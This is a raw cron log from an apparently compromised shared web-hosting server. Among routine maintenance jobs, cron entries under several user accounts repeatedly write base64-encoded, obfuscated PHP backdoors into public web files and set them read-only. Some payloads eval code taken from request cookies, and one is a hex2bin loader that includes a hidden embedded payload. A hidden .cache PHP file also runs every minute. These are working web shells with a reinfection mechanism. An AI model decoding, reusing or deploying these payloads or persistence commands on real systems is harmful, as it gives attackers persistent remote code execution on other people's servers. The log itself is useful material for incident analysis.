Jun  7 04:23:01 medusa CROND[13070]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:23:01 medusa CROND[13071]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:23:01 medusa CROND[13072]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:23:01 medusa CROND[13075]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:23:01 medusa CROND[13077]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:23:01 medusa CROND[13076]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:23:02 medusa CROND[13078]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:24:02 medusa CROND[14768]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:24:02 medusa CROND[14769]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:24:02 medusa CROND[14771]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 04:24:02 medusa CROND[14770]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:24:02 medusa CROND[14772]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:24:02 medusa CROND[14773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:24:02 medusa CROND[14774]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:24:02 medusa CROND[14778]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:24:02 medusa CROND[14790]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:24:02 medusa CROND[14791]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 04:24:02 medusa CROND[14792]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:24:02 medusa CROND[14793]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:24:02 medusa CROND[14794]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:25:01 medusa CROND[16478]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:25:01 medusa CROND[16527]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:25:01 medusa CROND[16528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:25:01 medusa CROND[16529]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 04:25:01 medusa CROND[16530]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:25:01 medusa CROND[16531]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 04:25:01 medusa CROND[16532]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 04:25:01 medusa CROND[16533]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 04:25:01 medusa CROND[16535]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:25:01 medusa CROND[16536]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 04:25:01 medusa CROND[16538]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 04:25:01 medusa CROND[16541]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 04:25:01 medusa CROND[16540]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 04:25:01 medusa CROND[16542]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:25:01 medusa CROND[16555]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:25:01 medusa CROND[16556]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 04:25:01 medusa CROND[16558]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 04:25:01 medusa CROND[16560]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
